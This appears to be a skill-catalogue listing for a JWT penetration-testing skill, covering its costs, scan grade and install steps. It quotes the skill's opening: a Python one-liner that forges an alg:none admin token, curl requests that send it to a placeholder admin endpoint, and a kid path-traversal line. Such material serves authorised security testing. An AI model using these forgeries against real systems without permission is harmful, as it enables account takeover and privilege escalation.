jwt-security-testing

jwt-security-testing is a skill for Claude Code, Codex from xalgorix/xalgorix. It costs 33 tokens per session (1,555 once invoked), scanned A, original, Apache-2.0.

A security testing guide for JWTs, signed data tokens often used to carry identity and permissions between services. It checks whether the token's signature, algorithm, key selection, and claims are properly validated.

In plain words
What is it for?
Use it to inspect token headers and claims, test algorithm and key-handling mistakes, alter claims, and check acceptance across services.
Why use it?
It helps find ways to alter roles or identities, bypass signatures, use weak signing keys, or reuse a token with a service that should reject it.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is # kid: ../../../dev/null → empty key.

Good fit Use it to inspect token headers and claims, test algorithm and key-handling mistakes, alter claims, and check acceptance across services.

Compare 6 skills from other repositories ↓
About the project

xalgorix/xalgorix is a self-hosted AI penetration-testing tool in which an LLM agent performs reconnaissance, looks for vulnerabilities, and coordinates exploitation, while a separate verifier re-tests findings before reporting them. It is for security teams, ethical hackers, and bug bounty work using a private, bring-your-own-LLM setup. The catalogue skills extend the agent's pentesting workflow.

xalgorix/xalgorix · 1,531 stars · on GitHub · xalgorix.com

Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/xalgorix/xalgorix
agentmods
npx agentmods add skills/xalgorix/xalgorix/jwt-security-testing

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for jwt-security-testing

README.md
[![agentmods](https://agentmods.dev/badge/skills/xalgorix/xalgorix/jwt-security-testing/github.svg)](https://agentmods.dev/skills/xalgorix/xalgorix/jwt-security-testing)
Your own site
<a href="https://agentmods.dev/skills/xalgorix/xalgorix/jwt-security-testing"><img src="https://agentmods.dev/badge/skills/xalgorix/xalgorix/jwt-security-testing/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for jwt-security-testing

Your own site · 80×15
<a href="https://agentmods.dev/skills/xalgorix/xalgorix/jwt-security-testing"><img src="https://agentmods.dev/badge/skills/xalgorix/xalgorix/jwt-security-testing.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 33 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,555 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00033 $0.01555
Opus 5.5 $0.00013 $0.00622
Sonnet 5.5 $0.00007 $0.00311
Haiku 4.5 $0.00003 $0.00155

Measured 2mo ago against content hash 0dac4dec60a1, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

jwt-security-testing scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -sk "https://TARGET/api/admin/users" | jq .status
internal/tools/skills/data/api-security/jwt-security-testing/SKILL.md · 153 lines

How it starts

The opening of the file, as written. The whole thing — 153 lines — stays where its author put it; the contents beside it link to each section on GitHub.

JWT Security Testing

Purpose

Test JWT implementations for signature validation bypasses, claim tampering, algorithm downgrades, and cross-service token acceptance.

Preconditions

  • At least one valid JWT token (operator-supplied, intercepted, or from a login)
  • Ability to send requests with the target's auth mechanism (Bearer header, cookie, custom header)

Attack Surface Signals

  • JWT tokens in Authorization headers, cookies, or URL parameters
  • alg field in decoded header
  • Tokens that persist across sessions
  • Multiple services sharing the same token issuer

Methodology

Decode and Analyze the Token First

# Decode header and payload (never paste real tokens into online tools)
echo "eyJ..." | cut -d. -f1 | base64 -d 2>/dev/null | jq .
echo "eyJ..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .

Record: algorithm, issuer, audience, expiry, subject, role claims, custom claims.

alg:none Attack

# Forge a token with alg:none and modified claims
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({'sub':'admin','role':'admin','exp':9999999999}).encode()).rstrip(b'=').decode()
print(f'{header}.{payload}.')
"

Send the forged token to a protected endpoint. CRITICAL: A 200 response does NOT prove the attack worked. You must verify:

  1. The CONTROL: the same endpoint WITHOUT the token (or with an invalid token) returns 401/403
  2. The forged token changes the identity/privilege: the response returns data belonging to the forged sub, or grants access to admin-only resources
  3. The forged claims were actually HONORED (not just parsed and ignored)
# CONTROL: anonymous request should be denied
curl -sk "https://TARGET/api/admin/users" | jq .status
# ATTACK: forged token
curl -sk -H "Authorization: Bearer FORGED_TOKEN" "https://TARGET/api/admin/users" | jq .
# VERIFY: does the response contain data the original user could NOT access?

Read the full file on GitHub · 153 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2mo ago First seen · 153 lines · 33 tokens per session scan A 0dac4dec60a1

Subscribe to this mod's changes

jwt-security-testing is a skill published in the GitHub repository xalgorix/xalgorix (1,531 stars, last pushed yesterday), licensed Apache-2.0. It adds 33 tokens to every session and 1,555 once invoked, about $0.0001 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-29.

Related

jwt-security-testing compared with skills from other repositories

jwt-security-testing next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
jwt-security-testingxalgorix/xalgorixSkill1.5kyesterdayApache-2.0A33Claude Code, Codex
cis-aws-foundations-6.5CyberStrikeus/CyberStrikeSkill3.8ktodayAGPL-3.0A23Claude Code, Codex
cis-aws-foundations-2.1.1CyberStrikeus/CyberStrikeSkill3.8ktodayAGPL-3.0A19Claude Code, Codex
cis-aws-foundations-2.4CyberStrikeus/CyberStrikeSkill3.8ktodayAGPL-3.0A20Claude Code, Codex
cis-aws-foundations-2.7CyberStrikeus/CyberStrikeSkill3.8ktodayAGPL-3.0A24Claude Code, Codex
cis-aws-foundations-6.1.2CyberStrikeus/CyberStrikeSkill3.8ktodayAGPL-3.0A25Claude Code, Codex
cis-aws-database-3.1CyberStrikeus/CyberStrikeSkill3.8ktodayAGPL-3.0A17Claude Code, Codex